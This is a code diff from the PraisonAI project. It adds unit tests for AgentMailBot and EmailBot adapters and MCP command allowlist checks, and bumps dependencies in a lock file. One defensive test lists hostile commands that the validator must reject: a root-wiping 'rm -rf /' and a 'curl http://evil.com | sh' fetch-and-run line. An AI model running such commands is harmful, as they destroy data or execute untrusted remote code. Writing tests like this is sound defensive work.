with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f:
f.write(yaml_content)
f.flush()
try:
config = load_and_validate_bot_yaml(f.name)
assert "agentmail" in config.channels
assert config.channels["agentmail"].token == "am_test_token"
finally:
os.unlink(f.name)
def test_yaml_multi_channel_agentmail_with_telegram(self):
"""YAML with agentmail + telegram should validate both."""
from praisonai.bots._config_schema import BotYamlSchema
schema = BotYamlSchema(channels={
"agentmail": {"token": "am_test"},
"telegram": {"token": "tg_test"},
})
assert "agentmail" in schema.channels
assert "telegram" in schema.channels
def test_yaml_multi_channel_agentmail_with_email(self):
"""YAML with both agentmail + email should validate."""
from praisonai.bots._config_schema import BotYamlSchema
schema = BotYamlSchema(channels={
"agentmail": {"token": "am_test"},
"email": {"token": "email_test"},
})
assert "agentmail" in schema.channels
assert "email" in schema.channels
# ═══════════════════════════════════════════════════════════════════
# PYTHON CODE PARITY (8 tests)
# ═══════════════════════════════════════════════════════════════════
class TestPythonCodeParity:
"""Verify Bot() wrapper and AgentMailBot direct usage are equivalent."""
def test_bot_wrapper_resolves_to_agentmail(self):
"""Bot('agentmail') should resolve adapter to AgentMailBot."""
from praisonai.bots import Bot
from praisonai.bots.agentmail import AgentMailBot
bot = Bot("agentmail", token="am_test")
assert bot._platform == "agentmail"
# Adapter is lazy-built; call _build_adapter() to resolve it
adapter = bot._build_adapter()
assert isinstance(adapter, AgentMailBot)
def test_bot_wrapper_reads_api_key_env(self):
"""Bot('agentmail') should read AGENTMAIL_API_KEY env var."""
from praisonai.bots.bot import _TOKEN_ENV_MAP
assert _TOKEN_ENV_MAP["agentmail"] == "AGENTMAIL_API_KEY"
def test_bot_wrapper_extra_env_has_inbox_id_and_domain(self):
"""Extra env should include inbox_id and domain for agentmail."""
from praisonai.bots.bot import _EXTRA_ENV_MAP
extra = _EXTRA_ENV_MAP["agentmail"]
assert "inbox_id" in extra
assert "domain" in extra
def test_direct_agentmail_bot_platform(self):
"""AgentMailBot(token=...).platform should be 'agentmail'."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="am_test")
assert bot.platform == "agentmail"
def test_direct_agentmail_bot_has_inbox_methods(self):
"""AgentMailBot should have create_inbox, list_inboxes, delete_inbox."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="am_test")
assert callable(getattr(bot, "create_inbox", None))
assert callable(getattr(bot, "list_inboxes", None))
assert callable(getattr(bot, "delete_inbox", None))
def test_direct_agentmail_on_command_and_on_message(self):
"""AgentMailBot should support on_command / on_message decorators."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="am_test")
@bot.on_command("test")
async def handle_test(msg):
pass
@bot.on_message
async def handle_msg(msg):
pass
assert "test" in bot._command_handlers
assert len(bot._message_handlers) == 1
@pytest.mark.asyncio
async def test_direct_agentmail_probe_type(self):
"""probe() should return ProbeResult with correct platform."""
from praisonai.bots import AgentMailBot
from praisonaiagents.bots import ProbeResult
bot = AgentMailBot(token="am_test")
with patch.object(bot, "_get_client") as mock:
mock_client = MagicMock()
mock_client.inboxes.list.return_value = []
mock.return_value = mock_client
result = await bot.probe()
assert isinstance(result, ProbeResult)
assert result.platform == "agentmail"
def test_email_protocol_structural_match(self):
"""AgentMailBot should structurally match EmailProtocol."""
from praisonai.bots import AgentMailBot
from praisonaiagents.bots import EmailProtocol
# EmailProtocol is @runtime_checkable, so isinstance with structural
# typing works — the bot has create_inbox, list_inboxes, delete_inbox
bot = AgentMailBot(token="am_test")
# Verify the 3 required methods exist with correct signatures
import inspect
sig_create = inspect.signature(bot.create_inbox)
sig_list = inspect.signature(bot.list_inboxes)
sig_delete = inspect.signature(bot.delete_inbox)
# create_inbox takes optional domain + **kwargs
assert "domain" in sig_create.parameters
# list_inboxes takes no args
assert len(sig_list.parameters) == 0
# delete_inbox takes inbox_id
assert "inbox_id" in sig_delete.parameters
# ═══════════════════════════════════════════════════════════════════
# AIUI CHANNEL PARITY (6 tests)
# ═══════════════════════════════════════════════════════════════════
class TestAIUIChannelParity:
"""Verify AIUI channels.py supports email and agentmail correctly."""
def test_supported_platforms_includes_email(self):
"""SUPPORTED_PLATFORMS must include 'email'."""
sys.path.insert(0, os.path.join(
os.path.dirname(__file__), "..", "..", "..", "..", "..", "..",
"PraisonAIUI", "src"
))
try:
from praisonaiui.features.channels import SUPPORTED_PLATFORMS
assert "email" in SUPPORTED_PLATFORMS
except ImportError:
pytest.skip("praisonaiui not installed")
def test_supported_platforms_includes_agentmail(self):
"""SUPPORTED_PLATFORMS must include 'agentmail'."""
try:
from praisonaiui.features.channels import SUPPORTED_PLATFORMS
assert "agentmail" in SUPPORTED_PLATFORMS
except ImportError:
pytest.skip("praisonaiui not installed")
def test_create_bot_direct_has_agentmail_mapping(self):
"""_create_bot_direct source must reference AgentMailBot."""
import inspect
try:
from praisonaiui.features.channels import ChannelsFeature
src = inspect.getsource(ChannelsFeature._create_bot_direct)
assert "praisonai.bots.agentmail.AgentMailBot" in src
except ImportError:
pytest.skip("praisonaiui not installed")
def test_create_bot_direct_has_email_mapping(self):
"""_create_bot_direct source must reference EmailBot."""
import inspect
try:
from praisonaiui.features.channels import ChannelsFeature
src = inspect.getsource(ChannelsFeature._create_bot_direct)
assert "praisonai.bots.email.EmailBot" in src
except ImportError:
pytest.skip("praisonaiui not installed")
def test_token_resolution_agentmail_uses_api_key(self):
"""_start_channel_bot must resolve agentmail via api_key / AGENTMAIL_API_KEY."""
import inspect
try:
from praisonaiui.features.channels import ChannelsFeature
src = inspect.getsource(ChannelsFeature._start_channel_bot)
assert "AGENTMAIL_API_KEY" in src
assert "api_key" in src
except ImportError:
pytest.skip("praisonaiui not installed")
def test_token_resolution_email_uses_app_password(self):
"""_start_channel_bot must resolve email via app_password / EMAIL_APP_PASSWORD."""
import inspect
try:
from praisonaiui.features.channels import ChannelsFeature
src = inspect.getsource(ChannelsFeature._start_channel_bot)
assert "EMAIL_APP_PASSWORD" in src
assert "app_password" in src
except ImportError:
pytest.skip("praisonaiui not installed")
@@ -0,0 +1,310 @@
"""
Unit tests for EmailBot implementation.
Tests cover:
- Platform registry resolution
- Lazy import
- YAML config validation
- EmailBot class structure and BotProtocol compliance
- Auto-reply detection
- Blocked sender detection
"""
import pytest
from unittest.mock import MagicMock, patch, AsyncMock
import email
from email.mime.text import MIMEText
class TestEmailPlatformRegistry:
"""Test email platform registration in SDK."""
def test_email_in_builtin_platforms(self):
"""Verify email is registered in _BUILTIN_PLATFORMS."""
from praisonai.bots._registry import _BUILTIN_PLATFORMS
assert "email" in _BUILTIN_PLATFORMS
assert _BUILTIN_PLATFORMS["email"] == ("praisonai.bots.email", "EmailBot")
def test_resolve_adapter_returns_email_bot(self):
"""Verify resolve_adapter('email') returns EmailBot class."""
from praisonai.bots._registry import resolve_adapter
EmailBot = resolve_adapter("email")
assert EmailBot.__name__ == "EmailBot"
def test_list_platforms_includes_email(self):
"""Verify list_platforms() includes email."""
from praisonai.bots._registry import list_platforms
platforms = list_platforms()
assert "email" in platforms
class TestEmailLazyImport:
"""Test lazy import of EmailBot."""
def test_lazy_import_from_bots_module(self):
"""Verify EmailBot can be imported from praisonai.bots."""
from praisonai.bots import EmailBot
assert EmailBot is not None
assert EmailBot.__name__ == "EmailBot"
def test_email_bot_in_all(self):
"""Verify EmailBot is in __all__."""
from praisonai.bots import __all__
assert "EmailBot" in __all__
class TestEmailTokenEnvMap:
"""Test email token environment variable mapping."""
def test_email_in_token_env_map(self):
"""Verify email is in _TOKEN_ENV_MAP."""
from praisonai.bots.bot import _TOKEN_ENV_MAP
assert "email" in _TOKEN_ENV_MAP
assert _TOKEN_ENV_MAP["email"] == "EMAIL_APP_PASSWORD"
def test_email_in_extra_env_map(self):
"""Verify email extras are in _EXTRA_ENV_MAP."""
from praisonai.bots.bot import _EXTRA_ENV_MAP
assert "email" in _EXTRA_ENV_MAP
assert "email_address" in _EXTRA_ENV_MAP["email"]
assert "imap_server" in _EXTRA_ENV_MAP["email"]
assert "smtp_server" in _EXTRA_ENV_MAP["email"]
class TestEmailYamlValidation:
"""Test YAML config validation for email platform."""
def test_valid_platforms_includes_email(self):
"""Verify email is in valid_platforms set."""
from praisonai.bots._config_schema import validate_bot_config
# This should not raise
config = validate_bot_config({
"channels": {
"email": {"token": "test_token"}
}
})
assert "email" in config.channels
def test_yaml_schema_accepts_email_channel(self):
"""Verify BotYamlSchema accepts email channel."""
from praisonai.bots._config_schema import BotYamlSchema
schema = BotYamlSchema(
channels={"email": {"token": "test"}}
)
assert "email" in schema.channels
class TestEmailBotStructure:
"""Test EmailBot class structure and properties."""
def test_email_bot_has_required_properties(self):
"""Verify EmailBot has required BotProtocol properties."""
from praisonai.bots import EmailBot
bot = EmailBot(
token="test_token",
email_address="[email protected]",
)
assert hasattr(bot, "is_running")
assert hasattr(bot, "platform")
assert hasattr(bot, "bot_user")
assert bot.platform == "email"
assert bot.is_running is False
def test_email_bot_has_required_methods(self):
"""Verify EmailBot has required BotProtocol methods."""
from praisonai.bots import EmailBot
bot = EmailBot(
token="test_token",
email_address="[email protected]",
)
# Lifecycle
assert hasattr(bot, "start")
assert hasattr(bot, "stop")
# Agent management
assert hasattr(bot, "set_agent")
assert hasattr(bot, "get_agent")
# Messaging
assert hasattr(bot, "send_message")
assert hasattr(bot, "edit_message")
assert hasattr(bot, "delete_message")
# Events
assert hasattr(bot, "on_message")
assert hasattr(bot, "on_command")
# Health
assert hasattr(bot, "probe")
assert hasattr(bot, "health")
def test_email_bot_accepts_config(self):
"""Verify EmailBot accepts BotConfig."""
from praisonai.bots import EmailBot
from praisonaiagents.bots import BotConfig
config = BotConfig(
token="test_token",
polling_interval=60.0,
)
bot = EmailBot(
token="test_token",
email_address="[email protected]",
config=config,
)
assert bot.config.polling_interval == 60.0
class TestEmailBotAutoReplyDetection:
"""Test auto-reply email detection."""
def test_detects_auto_submitted_header(self):
"""Verify bot detects Auto-Submitted header."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
msg = MIMEText("Test body")
msg["Auto-Submitted"] = "auto-replied"
assert bot._is_auto_reply(msg) is True
def test_detects_x_auto_reply_header(self):
"""Verify bot detects X-Auto-Reply header."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
msg = MIMEText("Test body")
msg["X-AutoReply"] = "yes"
assert bot._is_auto_reply(msg) is True
def test_normal_email_not_auto_reply(self):
"""Verify normal email is not detected as auto-reply."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
msg = MIMEText("Test body")
msg["From"] = "[email protected]"
msg["Subject"] = "Hello"
assert bot._is_auto_reply(msg) is False
class TestEmailBotBlockedSenders:
"""Test blocked sender detection."""
def test_blocks_mailer_daemon(self):
"""Verify bot blocks MAILER-DAEMON."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
assert bot._is_blocked_sender("[email protected]") is True
assert bot._is_blocked_sender("[email protected]") is True
def test_blocks_noreply(self):
"""Verify bot blocks noreply addresses."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
assert bot._is_blocked_sender("[email protected]") is True
assert bot._is_blocked_sender("[email protected]") is True
assert bot._is_blocked_sender("[email protected]") is True
def test_allows_normal_sender(self):
"""Verify bot allows normal senders."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
assert bot._is_blocked_sender("[email protected]") is False
assert bot._is_blocked_sender("[email protected]") is False
class TestEmailBotBodyExtraction:
"""Test email body extraction."""
def test_extracts_plain_text_body(self):
"""Verify bot extracts plain text body."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
msg = MIMEText("Hello, this is a test email.")
body = bot._extract_body(msg)
assert "Hello, this is a test email." in body
def test_extracts_plain_from_multipart(self):
"""Verify bot extracts plain text from multipart email."""
from praisonai.bots import EmailBot
from email.mime.multipart import MIMEMultipart
bot = EmailBot(token="test", email_address="[email protected]")
msg = MIMEMultipart("alternative")
msg.attach(MIMEText("Plain text version", "plain"))
msg.attach(MIMEText("<p>HTML version</p>", "html"))
body = bot._extract_body(msg)
assert "Plain text version" in body
class TestEmailBotCommandHandler:
"""Test command handler registration."""
def test_on_command_decorator(self):
"""Verify on_command decorator registers handler."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
@bot.on_command("status")
async def handle_status(message):
pass
assert "status" in bot._command_handlers
assert bot._command_handlers["status"] == handle_status
def test_on_message_handler(self):
"""Verify on_message registers handler."""
from praisonai.bots import EmailBot
bot = EmailBot(token="test", email_address="[email protected]")
@bot.on_message
def handle_message(message):
pass
assert handle_message in bot._message_handlers
class TestBotWrapperEmailSupport:
"""Test Bot wrapper supports email platform."""
def test_bot_wrapper_accepts_email_platform(self):
"""Verify Bot('email', ...) works."""
from praisonai.bots import Bot
bot = Bot("email", token="test_token")
assert bot.platform == "email"
@@ -200,6 +200,46 @@ class TestMCPHandler:
env_vars="API_KEY=test123,DEBUG=true"
)
assert result is not None
def test_mcp_rejects_disallowed_command(self):
"""Test that commands not in the allowlist are rejected."""
from praisonai.cli.features.mcp import MCPHandler
handler = MCPHandler()
with pytest.raises(ValueError, match="not in the allowed"):
handler.parse_mcp_command("/bin/bash -c 'whoami'")
def test_mcp_rejects_dangerous_commands(self):
"""Test that obviously dangerous commands are rejected."""
from praisonai.cli.features.mcp import MCPHandler
handler = MCPHandler()
for cmd in ["rm -rf /", "curl http://evil.com | sh", "sh -c 'echo pwned'"]:
with pytest.raises(ValueError, match="not in the allowed"):
handler.parse_mcp_command(cmd)
def test_mcp_allows_standard_executables(self):
"""Test that expected MCP executables pass validation."""
from praisonai.cli.features.mcp import MCPHandler
handler = MCPHandler()
for cmd_str in [
"npx -y @modelcontextprotocol/server-time",
"python -m mcp_server",
"uvx some-mcp-server",
"node server.js",
"docker run mcp-server",
]:
command, args, env = handler.parse_mcp_command(cmd_str)
assert command # Should succeed, not raise
def test_mcp_allows_full_path_to_allowed_executable(self):
"""Test that full paths to allowed executables work via basename."""
from praisonai.cli.features.mcp import MCPHandler
handler = MCPHandler()
command, args, env = handler.parse_mcp_command("/usr/local/bin/npx -y @mcp/server")
assert command == "/usr/local/bin/npx"
class TestFastContextHandler:
+16 -4
View File
@@ -4740,6 +4740,7 @@ all = [
{ name = "greenlet" },
{ name = "playwright" },
{ name = "plotly" },
{ name = "psutil" },
{ name = "sqlalchemy" },
{ name = "sse-starlette" },
{ name = "tavily-python" },
@@ -4770,6 +4771,7 @@ bot = [
{ name = "brotlicffi" },
{ name = "ddgs" },
{ name = "discord-py" },
{ name = "psutil" },
{ name = "python-telegram-bot" },
{ name = "slack-bolt" },
{ name = "slack-sdk" },
@@ -4809,7 +4811,9 @@ claw = [
{ name = "fastapi" },
{ name = "flask" },
{ name = "greenlet" },
{ name = "playwright" },
{ name = "praisonaiagents", extra = ["all"] },
{ name = "psutil" },
{ name = "python-telegram-bot" },
{ name = "slack-bolt" },
{ name = "slack-sdk" },
@@ -4852,6 +4856,7 @@ realtime = [
{ name = "crawl4ai" },
{ name = "ddgs" },
{ name = "greenlet" },
{ name = "playwright" },
{ name = "plotly" },
{ name = "sqlalchemy" },
{ name = "tavily-python" },
@@ -4926,14 +4931,19 @@ requires-dist = [
{ name = "neonize", marker = "extra == 'bot-whatsapp-web'", specifier = ">=0.3.14" },
{ name = "playwright", marker = "extra == 'all'", specifier = ">=1.47.0" },
{ name = "playwright", marker = "extra == 'chat'", specifier = ">=1.47.0" },
{ name = "playwright", marker = "extra == 'claw'", specifier = ">=1.47.0" },
{ name = "playwright", marker = "extra == 'code'", specifier = ">=1.47.0" },
{ name = "playwright", marker = "extra == 'realtime'", specifier = ">=1.47.0" },
{ name = "plotly", marker = "extra == 'all'", specifier = ">=5.24.0" },
{ name = "plotly", marker = "extra == 'realtime'", specifier = ">=5.24.0" },
{ name = "praisonai-tools", marker = "extra == 'autogen'", specifier = ">=0.1.0" },
{ name = "praisonai-tools", marker = "extra == 'autogen-v4'", specifier = ">=0.1.0" },
{ name = "praisonai-tools", marker = "extra == 'crewai'", specifier = ">=0.1.0" },
{ name = "praisonaiagents", specifier = ">=1.5.63" },
{ name = "praisonaiagents", specifier = ">=1.5.80" },
{ name = "praisonaiagents", extras = ["all"], marker = "extra == 'claw'", specifier = ">=1.5.40" },
{ name = "psutil", marker = "extra == 'all'", specifier = ">=5.9.0" },
{ name = "psutil", marker = "extra == 'bot'", specifier = ">=5.9.0" },
{ name = "psutil", marker = "extra == 'claw'", specifier = ">=5.9.0" },
{ name = "pyautogen", marker = "extra == 'autogen'", specifier = "==0.2.29" },
{ name = "pyjwt", marker = "extra == 'os'", specifier = ">=2.8.0" },
{ name = "pyngrok", marker = "extra == 'call'", specifier = ">=1.4.0" },
@@ -4999,7 +5009,7 @@ wheels = [
[[package]]
name = "praisonaiagents"
version = "1.5.63"
version = "1.5.80"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "aiohttp" },
@@ -5008,15 +5018,16 @@ dependencies = [
{ name = "pydantic" },
{ name = "rich" },
]
sdist = { url = "https://files.pythonhosted.org/packages/ac/4e/1f9cbcd17c1d9b21baeff6993ccfc7029eb556b444d1cb38117552d3099a/praisonaiagents-1.5.63.tar.gz", hash = "sha256:a3184448b8e9443f9e47be32672bc4e8f9cb367318866b43fcc7e5489cdb5b8a", size = 1189596, upload-time = "2026-03-15T15:30:52.544Z" }
sdist = { url = "https://files.pythonhosted.org/packages/6e/3b/6c88188227bac16f88e7b141568cebb03d6ef46f38935e3bb8408a400017/praisonaiagents-1.5.80.tar.gz", hash = "sha256:fa0b803943e5aab8ce4099c8257e8f5378648a19668ec046749aa3babad99d57", size = 1204298, upload-time = "2026-03-18T21:06:55.71Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a1/18/9de6aa1a592b957fe02e533500fce5131ebd9b37e3d4679c155cecf17bbc/praisonaiagents-1.5.63-py3-none-any.whl", hash = "sha256:b47ef6ecbbe097e49a8724d0761585af3aa589a2a7b9de05fa35168c7d590030", size = 1234818, upload-time = "2026-03-15T15:30:50.227Z" },
{ url = "https://files.pythonhosted.org/packages/b3/76/ab37e313ad3e756c39df8f5b180613169ff8074a293aaba52fbdef88928e/praisonaiagents-1.5.80-py3-none-any.whl", hash = "sha256:e1590e6bbbda526e13d3654ab17cab6a2a602af4508fabe7a8cd389213658efe", size = 1248857, upload-time = "2026-03-18T21:06:53.898Z" },
]
[package.optional-dependencies]
all = [
{ name = "chonkie" },
{ name = "chromadb" },
{ name = "crawl4ai" },
{ name = "ddgs" },
{ name = "fastapi" },
{ name = "litellm" },
@@ -5025,6 +5036,7 @@ all = [
{ name = "mem0ai", extra = ["graph"] },
{ name = "motor" },
{ name = "passlib", extra = ["bcrypt"] },
{ name = "playwright" },
{ name = "posthog" },
{ name = "pydantic" },
{ name = "pyjwt" },